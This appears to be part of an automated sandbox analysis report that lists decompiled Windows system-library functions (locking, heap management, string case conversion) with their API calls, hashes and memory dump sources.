API ID: ErrorExclusiveLock$AcquireControlLastReleaseStatusTraceWin32
String ID: 8Sck
API String ID: 1422652320-4002488079
Opcode ID: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction ID: a60658eb0a40d2adb991c548a0719bf873c2ce82859a7cd587e853d9a35c849f
Opcode Fuzzy Hash: 4432acbf776db7bb468a2331a5d17acb80e0beae40a0a36093045e08c78704bc
Instruction Fuzzy Hash: 9811E7B2A04314B6DB20DF6DC880BDB7BB8EF89B60F404066ED049B145DB38C9058BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B614015, Relevance: 10.5, APIs: 7, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B614015(signed int __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				char _t10;
				void* _t18;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t32 = __ecx + 0x1c;
					E6B562280(_t10, __ecx + 0x1c);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E6B562280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x6b6386ac);
					L6B54F900(0x6b6386d4, _t28);
					E6B55FFB0(0x6b6386ac, _t28, 0x6b6386ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E6B55FFB0(0, _t28, _t32);
					_t18 =  *(_t28 + 0x94);
					if(_t18 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t18);
					}
					_t10 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t28);
				}
				return _t10;
			}

0x6b61401a
0x6b61401e
0x6b614023
0x6b614028
0x6b614029
0x6b61402b
0x6b61402f
0x6b614043
0x6b614046
0x6b614051
0x6b614057
0x6b61405f
0x6b614062
0x6b614067
0x6b61406f
0x6b61407c
0x6b61407c
0x6b61408c
0x6b61408c
0x6b614097

APIs

RtlAcquireSRWLockExclusive.1105(00000001,?,000000A0,?,?,?,6B5B6D7C,00000001,00000001,00000000,?,?,6B574E1B,0000000F), ref: 6B61402F
RtlAcquireSRWLockExclusive.1105(6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001,00000001,00000000,?,?,6B574E1B,0000000F), ref: 6B614046

Part of subcall function 6B562280: RtlDllShutdownInProgress.1105(00000000), ref: 6B5622BA
Part of subcall function 6B562280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B5623A3

RtlRbRemoveNode.1105(6B6386D4,?,6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001,00000001,00000000,?,?,6B574E1B), ref: 6B614051
RtlReleaseSRWLockExclusive.1105(6B6386AC,6B6386D4,?,6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001,00000001,00000000,?,?), ref: 6B614057
RtlReleaseSRWLockExclusive.1105(00000001,6B6386AC,6B6386D4,?,6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001,00000001,00000000,?), ref: 6B614062
RtlFreeHeap.1105(?,00000000,?,00000001,6B6386AC,6B6386D4,?,6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001), ref: 6B61407C
RtlFreeHeap.1105(?,00000000,?,00000001,6B6386AC,6B6386D4,?,6B6386AC,00000001,?,000000A0,?,?,?,6B5B6D7C,00000001), ref: 6B61408C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireFreeHeapRelease$AlertNodeProgressRemoveShutdownThreadWait
String ID:
API String ID: 83280457-0
Opcode ID: d90f6914fd70bd0400204ed18ad20a012432c549c023a85ac46d8e8331e8133b
Instruction ID: 72fab1d819f4694fe33e4d82991fa589492fa2decc11b0604d4e7d802ea2bce8
Opcode Fuzzy Hash: d90f6914fd70bd0400204ed18ad20a012432c549c023a85ac46d8e8331e8133b
Instruction Fuzzy Hash: 650184B26016457FE2519B79CD81E93B7ACEF85798B000225F50887A21DB6CEC51CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 6B57DA88, Relevance: 9.3, APIs: 6, Instructions: 253
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6B57DA88(void* __ebx, signed int __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t111;
				signed int _t116;
				void* _t120;
				signed int* _t124;
				signed int _t125;
				signed int* _t126;
				void* _t132;
				signed int* _t135;
				signed int _t140;
				intOrPtr _t148;
				signed int _t150;
				signed char _t158;
				signed int _t159;
				signed short* _t160;
				void* _t162;
				signed int _t166;
				signed short* _t167;
				void* _t168;
				signed int _t170;
				intOrPtr* _t171;
				signed int* _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t179;
				void* _t183;
				signed int _t185;
				signed int _t187;
				signed int _t188;
				signed int _t189;
				signed int _t190;
				void* _t191;

				_push(0x20);
				_push(0x6b620268);
				E6B59D08C(__ebx, __edi, __esi);
				 *(_t191 - 0x1c) = __edx;
				 *(_t191 - 0x24) = __ecx;
				if(__ecx == 0) {
					L23:
					_t111 = 0;
					L22:
					return E6B59D0D1(_t111);
				}
				_t158 =  *(_t191 + 0x14);
				if((_t158 & 0xffffffcc) != 0 || (_t158 & 0x00000003) == 3) {
					goto L23;
				} else {
					_t116 = _t158 & 0x00000001;
					 *(_t191 - 0x28) = _t116;
					if(_t116 != 0) {
						if(__edx != 0) {
							goto L4;
						} else {
							goto L23;
						}
					}
					L4:
					E6B562280(_t116, 0x6b63861c);
					_t185 = 0;
					 *((intOrPtr*)(_t191 - 4)) = 0;
					_t187 = 0;
					while(1) {
						 *(_t191 - 0x20) = _t187;
						if(_t187 >=  *0x6b636da4) {
							break;
						}
						_t170 = _t187 << 5;
						 *(_t191 - 0x2c) = _t170;
						_t171 =  *0x6b636da0 + _t170;
						if( *((intOrPtr*)(_t171 + 4)) ==  *(_t191 - 0x24)) {
							if((_t158 & 0x00000002) != 0) {
								if( *((intOrPtr*)(_t171 + 8)) != _t185) {
									L21:
									 *((intOrPtr*)(_t191 - 4)) = 0xfffffffe;
									E6B57DCE8();
									_t111 = 1;
									goto L22;
								}
							}
							if( *(_t191 - 0x28) == 0 ||  *(_t171 + 0x10) == 0) {
								goto L8;
							} else {
								_t148 =  *((intOrPtr*)(_t191 + 0x10));
								if(_t148 == 0 ||  *_t171 != _t148) {
									goto L8;
								} else {
									_t150 =  *( *(_t191 - 0x1c));
									if(_t150 == 0xffffffff) {
										L57:
										_t183 =  *0x6b636da0;
										_t190 =  *(_t191 - 0x2c);
										 *( *(_t191 - 0x1c)) =  *(_t190 + _t183 + 0x10);
										_t173 =  *(_t191 + 8);
										if(_t173 != 0) {
											 *_t173 =  *(_t190 + _t183 + 0x14);
										}
										goto L21;
									} else {
										if((_t158 & 0x00000020) == 0) {
											_push(_t150 & 0xfffffffc);
											_push(0xffffffff);
											E6B5897A0();
											_t174 =  *(_t191 + 8);
											if(_t174 != 0) {
												_push( *_t174);
												E6B5895D0();
											}
											goto L57;
										}
										if( *(_t171 + 0x10) == 0xffffffff) {
											 *(_t171 + 0x10) = _t185;
										}
										break;
									}
									L32:
									if((_t158 & 0x00000002) != 0) {
										if(_t167[4] != _t185) {
											goto L33;
										}
										_t167[4] =  *(_t191 + 0xc);
										_t167[0xe] =  *(_t191 + 0x18);
										goto L21;
									}
									L33:
									if((_t158 & 0x00000001) == 0 || _t167[8] != _t185) {
										L15:
										_t188 = _t188 + 1;
										while(1) {
											L13:
											 *(_t191 - 0x20) = _t188;
											if(_t188 >=  *0x6b636da4) {
												RtlImageNtHeader(_t176 & 0xfffffffc);
												if(_t120 != 0) {
													 *(_t191 - 0x2c) =  *(_t120 + 0x58);
													_t179 =  *0x6b636da4 << 5;
													_t162 =  *0x6b636da0;
													 *(_t179 + _t162 + 4) =  *(_t191 - 0x24);
													 *(_t179 + _t162 + 8) =  *(_t191 + 0xc);
													_t159 = _t158 & 0x00000001;
													if(_t159 != 0) {
														_t124 =  *(_t191 - 0x1c);
														if(_t124 == 0) {
															_t125 = _t185;
														} else {
															_t125 =  *_t124;
														}
														 *(_t179 + _t162 + 0x10) = _t125;
														_t126 =  *(_t191 + 8);
														if(_t126 != 0) {
															_t185 =  *_t126;
														}
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) =  *(_t191 + 0x1c);
													} else {
														 *(_t179 + _t162 + 0x10) = _t185;
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) = _t185;
													}
													 *((short*)(_t162 + _t179)) =  *((intOrPtr*)(_t191 + 0x10));
													 *(_t179 + _t162 + 0xc) =  *(_t191 - 0x2c);
													 *(_t179 + _t162 + 0x1c) =  *(_t191 + 0x18);
													if( *0x6b636db0 != 0) {
														if(_t159 != 0) {
															_t189 = _t188 << 5;
															if(E6B5D6652(_t162 + _t189, 1) >= 0 && ( *0x6b636db0 & 0x00000002) != 0) {
																_t132 =  *0x6b636da0;
																if( *((intOrPtr*)(_t189 + _t132 + 0x1c)) == 0xc0000019) {
																	 *( *(_t191 - 0x1c)) =  *(_t189 + _t132 + 0x10);
																}
															}
														}
													}
													 *0x6b636da4 =  *0x6b636da4 + 1;
												}
												goto L21;
											}
											_t166 = _t188 << 5;
											 *(_t191 - 0x2c) = _t166;
											_t167 =  *0x6b636da0 + _t166;
											if(_t167[2] == _t176) {
												goto L32;
											}
											goto L15;
										}
										goto L21;
									} else {
										_t120 =  *_t167 & 0x0000ffff;
										if(_t120 ==  *((intOrPtr*)(_t191 + 0x10)) || _t120 == 0) {
											_t160 =  *(_t191 - 0x1c);
											_t167[8] =  *_t160;
											_t135 =  *(_t191 + 8);
											if(_t135 != 0) {
												_t185 =  *_t135;
											}
											_t167[0xa] = _t185;
											 *_t167 =  *((intOrPtr*)(_t191 + 0x10));
											_t167[0xe] =  *(_t191 + 0x18);
											_t167[0xc] =  *(_t191 + 0x1c);
											if( *0x6b636db0 != 0 && E6B5D6652(_t167, 1) >= 0 && ( *0x6b636db0 & 0x00000002) != 0) {
												_t168 =  *0x6b636da0;
												_t140 =  *(_t191 - 0x2c);
												if( *((intOrPtr*)(_t140 + _t168 + 0x1c)) == 0xc0000019) {
													 *_t160 =  *(_t140 + _t168 + 0x10);
												}
											}
											goto L21;
										} else {
											goto L15;
										}
									}
								}
							}
						} else {
							if((_t158 & 0x00000010) != 0) {
								if( *0x6b636db0 != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0xffffffff) {
									E6B5D6652(_t171, 0);
								}
							}
							L8:
							_t187 = _t187 + 1;
							continue;
						}
					}
					if((_t158 & 0x00000010) != 0) {
						goto L21;
					}
					if( *0x6b636da0 == 0) {
						_t120 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x400);
						if(_t120 == 0) {
							goto L21;
						} else {
							 *0x6b636da0 = _t120;
							 *0x6b636da8 = 0x20;
							L12:
							_t188 = _t185;
							_t176 =  *(_t191 - 0x24);
							goto L13;
						}
					}
					_t120 =  *0x6b636da8;
					if( *0x6b636da4 >= _t120) {
						_t120 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *0x6b636da0, _t120 + 0x20 << 5);
						if(_t120 == 0) {
							goto L21;
						}
						 *0x6b636da0 = _t120;
						 *0x6b636da8 =  *0x6b636da8 + 0x20;
					}
					goto L12;
				}
			}

0x6b57da88
0x6b57da8a
0x6b57da8f
0x6b57da94
0x6b57da99
0x6b57da9e
0x6b57dbe5
0x6b57dbe5
0x6b57dbdd
0x6b57dbe2
0x6b57dbe2
0x6b57daa4
0x6b57daad
0x00000000
0x6b57dac0
0x6b57dac2
0x6b57dac5
0x6b57dac8
0x6b57dbeb
0x00000000
0x6b57dbf1
0x00000000
0x6b57dbf1
0x6b57dbeb
0x6b57dace
0x6b57dad3
0x6b57dad8
0x6b57dada
0x6b57dadd
0x6b57dadf
0x6b57dadf
0x6b57dae8
0x00000000
0x00000000
0x6b57daec
0x6b57daef
0x6b57daf2
0x6b57dafe
0x6b57dbf6
0x6b5bb245
0x6b57dbcf
0x6b57dbcf
0x6b57dbd6
0x6b57dbdb
0x00000000
0x6b57dbdb
0x6b5bb24b
0x6b57dc00
0x00000000
0x6b57dc10
0x6b57dc10
0x6b57dc17
0x00000000
0x6b57dc26
0x6b5bb253
0x6b5bb258
0x6b5bb28a
0x6b5bb28a
0x6b5bb290
0x6b5bb29a
0x6b5bb29c
0x6b5bb2a1
0x6b5bb2ab
0x6b5bb2ab
0x00000000
0x6b5bb25a
0x6b5bb25d
0x6b5bb274
0x6b5bb275
0x6b5bb277
0x6b5bb27c
0x6b5bb281
0x6b5bb283
0x6b5bb285
0x6b5bb285
0x00000000
0x6b5bb281
0x6b5bb263
0x6b5bb269
0x6b5bb269
0x00000000
0x6b5bb263
0x6b57dc2b
0x6b57dc2e
0x6b5bb318
0x00000000
0x00000000
0x6b5bb321
0x6b5bb327
0x00000000
0x6b5bb327
0x6b57dc34
0x6b57dc37
0x6b57db5e
0x6b57db5e
0x6b57db3c
0x6b57db3c
0x6b57db3c
0x6b57db45
0x6b57db65
0x6b57db6c
0x6b57db71
0x6b57db7a
0x6b57db7d
0x6b57db86
0x6b57db8d
0x6b57db91
0x6b57db94
0x6b57dcc2
0x6b57dcc7
0x6b57dcf3
0x6b57dcc9
0x6b57dcc9
0x6b57dcc9
0x6b57dccb
0x6b57dccf
0x6b57dcd4
0x6b57dcd6
0x6b57dcd6
0x6b57dcd8
0x6b57dcdf
0x6b57db9a
0x6b57db9a
0x6b57db9e
0x6b57dba2
0x6b57dba2
0x6b57dbaa
0x6b57dbb1
0x6b57dbb8
0x6b57dbc3
0x6b5bb36f
0x6b5bb375
0x6b5bb383
0x6b5bb396
0x6b5bb3a3
0x6b5bb3b0
0x6b5bb3b0
0x6b5bb3a3
0x6b5bb383
0x6b5bb36f
0x6b57dbc9
0x6b57dbc9
0x00000000
0x6b57db6c
0x6b57db49
0x6b57db4c
0x6b57db4f
0x6b57db58
0x00000000
0x00000000
0x00000000
0x6b57db58
0x00000000
0x6b57dc46
0x6b57dc46
0x6b57dc4d
0x6b57dc58
0x6b57dc5d
0x6b57dc60
0x6b57dc65
0x6b57dc67
0x6b57dc67
0x6b57dc69
0x6b57dc70
0x6b57dc76
0x6b57dc7c
0x6b57dc86
0x6b5bb34b
0x6b5bb351
0x6b5bb35c
0x6b5bb366
0x6b5bb366
0x6b5bb35c
0x00000000
0x00000000
0x00000000
0x00000000
0x6b57dc4d
0x6b57dc37
0x6b57dc17
0x6b57db04
0x6b57db07
0x6b5bb2b9
0x6b5bb2d5
0x6b5bb2d5
0x6b5bb2b9
0x6b57db0d
0x6b57db0d
0x00000000
0x6b57db0d
0x6b57dafe
0x6b57db13
0x00000000
0x00000000
0x6b57db20
0x6b57dca1
0x6b57dca8
0x00000000
0x6b57dcae
0x6b57dcae
0x6b57dcb3
0x6b57db37
0x6b57db37
0x6b57db39
0x00000000
0x6b57db39
0x6b57dca8
0x6b57db26
0x6b57db31
0x6b5bb2f7
0x6b5bb2fe
0x00000000
0x00000000
0x6b5bb304
0x6b5bb309
0x6b5bb309
0x00000000
0x6b57db31

APIs

RtlAcquireSRWLockExclusive.1105(6B63861C,6B620268,00000020,6B55BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6B57DAD3
RtlImageNtHeader.1105(00000001,6B63861C,6B620268,00000020,6B55BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6B57DB65
RtlAllocateHeap.1105(?,00000008,00000400,6B63861C,6B620268,00000020,6B55BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?), ref: 6B57DCA1

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireAllocateExclusiveHeaderHeapImageLock
String ID:
API String ID: 1783064793-0
Opcode ID: 29cae67af8454ed41ce7266906506bb7e8971e7048fa8040cdb744bd99a2bc53
Instruction ID: 1f0aa34795dbbeb1648016829dbcf41f91f9633a2e1582654b4b19f405c66ff1
Opcode Fuzzy Hash: 29cae67af8454ed41ce7266906506bb7e8971e7048fa8040cdb744bd99a2bc53
Instruction Fuzzy Hash: 09A15DB4A892098FEF24EF29C4807D9B7B0FF4A358F1045A9D9289B2D1D779D842DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B545AC0, Relevance: 9.2, APIs: 6, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6B545AC0(signed char _a4, long _a8, signed int _a12, void* _a16, void* _a20) {
				signed int _v8;
				void _v1036;
				char _v1037;
				char _v1038;
				signed int _v1044;
				long _v1048;
				char _v1052;
				signed int _v1056;
				void* _v1060;
				void* _v1064;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				signed int _t81;
				void* _t92;
				signed int _t111;
				signed char _t122;
				void* _t135;
				signed int _t136;
				void* _t144;
				long _t145;
				signed int _t147;

				_v8 =  *0x6b63d360 ^ _t147;
				_t76 = _a16;
				_t140 = _a12;
				_t145 = _a8;
				_v1064 = _t76;
				_t144 = _a20;
				_v1060 = _t144;
				if(_t145 == 0 || _t144 == 0 ||  *_t144 < 0 || _t140 < 0xffffffff ||  *_t144 > 0 && _t76 == 0) {
					L46:
					_t77 = 0xc000000d;
					goto L18;
				} else {
					_t122 = _a4;
					if((_t122 & 0xfffffff0) != 0) {
						goto L46;
					}
					if(_t140 == 0xffffffff) {
						_t140 = 0x203;
						if(E6B55347D(_t145, 0x203,  &_v1056) < 0) {
							L23:
							_t77 = 0xc0000716;
							L18:
							return E6B58B640(_t77, _t122, _v8 ^ _t147, _t140, _t144, _t145);
						}
						_t140 = _v1056 + 1;
					}
					_t81 =  *(_t145 + _t140 * 2 - 2) & 0x0000ffff;
					_v1044 = _t81;
					if(_t81 == 0) {
						_t140 = _t140 - 1;
					}
					_v1048 = 0x1ff;
					_v1056 = _t122 & 0x00000004;
					if(E6B545C07(_t145, _t140,  &_v1036,  &_v1048, (_t122 >> 0x00000001 & 0 | (_t122 & 0x00000004) != 0x00000000) & 0x000000ff, _t122 >> 0x00000001 & 1,  &_v1038,  &_v1052) < 0) {
						goto L18;
					} else {
						_t145 = _v1048;
						if(_v1044 == 0) {
							if(_t145 >= 0x1ff) {
								goto L23;
							}
							_t92 = _t145 + _t145;
							_t145 = _t145 + 1;
							_v1048 = _t145;
							if(_t92 >= 0x3fe) {
								E6B58B75A();
								L29:
								if(_v1056 == 0 || E6B5FB0D0( &_v1036, 1,  &_v1036, _v1052 -  &_v1036 >> 1,  &_v1037) >= 0 && _v1037 != 0) {
									_t140 = _v1052 -  &_v1036 >> 1;
									if(_t140 >= _t145 - (0 | _v1044 == 0x00000000)) {
										L13:
										_t135 = _v1064;
										if(_t135 == 0 ||  *_t144 == 0) {
											L17:
											 *_t144 = _t145;
											_t77 = 0;
											goto L18;
										} else {
											if(_t145 >  *_t144) {
												_t77 = 0xc0000023;
												goto L18;
											}
											memcpy(_t135,  &_v1036, _t145 + _t145);
											goto L17;
										}
									}
									_t145 = _t145 - (0 | _v1044 == 0x00000000) + 1 - _t140;
									_v1044 = _v1052 + 2;
									_t144 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t145);
									if(_t144 != 0) {
										_t140 = _v1044;
										_t136 = 0;
										if(_t145 <= 0) {
											L39:
											if(E6B5FB0D0(_t136, _t122, _t140, _t145,  &_v1037) < 0 || _v1037 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
												goto L23;
											} else {
												_t111 = 0;
												if(_t145 <= 0) {
													L45:
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
													_t145 = _v1048;
													_t144 = _v1060;
													goto L13;
												} else {
													goto L42;
												}
												do {
													L42:
													if( *((char*)(_t144 + _t111)) == 1) {
														_t140 = 0xffe0;
														 *((intOrPtr*)(_v1044 + _t111 * 2)) =  *((intOrPtr*)(_v1044 + _t111 * 2)) + 0xffe0;
													}
													_t111 = _t111 + 1;
												} while (_t111 < _t145);
												goto L45;
											}
										} else {
											goto L36;
										}
										do {
											L36:
											if(( *(_t140 + _t136 * 2) & 0x0000ffff) + 0xffffffbf <= 0x19) {
												 *(_t140 + _t136 * 2) =  *(_t140 + _t136 * 2) + 0x20;
												 *((char*)(_t144 + _t136)) = 1;
											}
											_t136 = _t136 + 1;
										} while (_t136 < _t145);
										goto L39;
									}
									_t77 = 0xc0000017;
									goto L18;
								} else {
									goto L23;
								}
							}
							 *((short*)(_t147 + _t92 - 0x408)) = 0;
						}
						if((_t122 & 0x00000008) != 0 || _v1038 != 0) {
							goto L13;
						} else {
							goto L29;
						}
					}
				}
			}

0x6b545ad2
0x6b545ad5
0x6b545ad8
0x6b545add
0x6b545ae0
0x6b545ae7
0x6b545aea
0x6b545af2
0x6b5a12e6
0x6b5a12e6
0x00000000
0x6b545b1f
0x6b545b1f
0x6b545b28
0x00000000
0x00000000
0x6b545b31
0x6b5a1142
0x6b5a1151
0x6b5a1170
0x6b5a1170
0x6b545bed
0x6b545bfd
0x6b545bfd
0x6b5a1159
0x6b5a1159
0x6b545b37
0x6b545b3e
0x6b545b47
0x6b5a117a
0x6b5a117a
0x6b545b53
0x6b545b70
0x6b545b9a
0x00000000
0x6b545b9c
0x6b545ba4
0x6b545baa
0x6b5a1186
0x00000000
0x00000000
0x6b5a1188
0x6b5a118b
0x6b5a118c
0x6b5a1197
0x6b5a11a8
0x6b5a11ad
0x6b5a11b4
0x6b5a11f5
0x6b5a1207
0x6b545bc2
0x6b545bc2
0x6b545bca
0x6b545be9
0x6b545be9
0x6b545beb
0x00000000
0x6b545bd1
0x6b545bd3
0x6b545c00
0x00000000
0x6b545c00
0x6b545be1
0x00000000
0x6b545be6
0x6b545bca
0x6b5a1225
0x6b5a1227
0x6b5a123e
0x6b5a1242
0x6b5a124e
0x6b5a1254
0x6b5a1258
0x6b5a1275
0x6b5a1291
0x6b5a116b
0x00000000
0x6b5a12a4
0x6b5a12a4
0x6b5a12a8
0x6b5a12c4
0x6b5a12d0
0x6b5a12d5
0x6b5a12db
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a12aa
0x6b5a12aa
0x6b5a12ae
0x6b5a12b6
0x6b5a12bb
0x6b5a12bb
0x6b5a12bf
0x6b5a12c0
0x00000000
0x6b5a12aa
0x00000000
0x00000000
0x00000000
0x6b5a125a
0x6b5a125a
0x6b5a1265
0x6b5a1267
0x6b5a126c
0x6b5a126c
0x6b5a1270
0x6b5a1271
0x00000000
0x6b5a125a
0x6b5a1244
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a11b4
0x6b5a119b
0x6b5a119b
0x6b545bb3
0x00000000
0x00000000
0x00000000
0x00000000
0x6b545bb3
0x6b545b9a

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6B545BE1

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 09d1700c8185e94278679c49a6a810a4518b87dea966e7b6776c490bd1f30d06
Instruction ID: 3bdfc28c0f07160d1cbf28b52e545693c606a5239ef06befa53d0004063e3ddb
Opcode Fuzzy Hash: 09d1700c8185e94278679c49a6a810a4518b87dea966e7b6776c490bd1f30d06
Instruction Fuzzy Hash: F781B7B1A002299BFB20CA28CD50BDE77B8EF45714F0045E9DB15E3284EB78DDC18B94

Uniqueness

Uniqueness Score: -1.00%

Function 6B612EF7, Relevance: 9.2, APIs: 6, Instructions: 183
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E6B612EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x6b63d360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E6B58D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E6B58D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E6B562280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x6b63b1e0();
						 *( *(_t106 + 0x30) ^  *0x6b636110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x6b63b1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x6b636110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E6B55FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E6B58B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x6b52ac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x6b52ac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x6b612efc
0x6b612efd
0x6b612eff
0x6b612f03
0x6b612f0a
0x6b612f0c
0x6b612f15
0x6b612fba
0x6b612fbb
0x6b612fc5
0x6b612fcd
0x6b612fcf
0x6b612fd3
0x6b612fd4
0x6b612fd5
0x6b612fd7
0x6b612fda
0x6b612fdb
0x6b612fdd
0x6b612fe0
0x6b612fe2
0x6b612ffc
0x6b612fe4
0x6b612fe4
0x6b612fea
0x6b612fed
0x6b612fef
0x6b612ff6
0x6b612ff1
0x6b612ff1
0x6b612ff1
0x6b612fef
0x6b612fff
0x6b613001
0x6b61301b
0x6b613003
0x6b613003
0x6b61300e
0x6b613015
0x6b613010
0x6b613010
0x6b613010
0x6b613010
0x6b61300e
0x6b61302c
0x6b613035
0x6b61303c
0x6b613046
0x6b61304e
0x6b613056
0x6b61305a
0x6b61305e
0x6b613063
0x6b613067
0x6b61306b
0x6b61306f
0x6b613072
0x6b6130af
0x6b6130b5
0x6b6130c1
0x6b6130c9
0x6b6130c9
0x6b6130c9
0x00000000
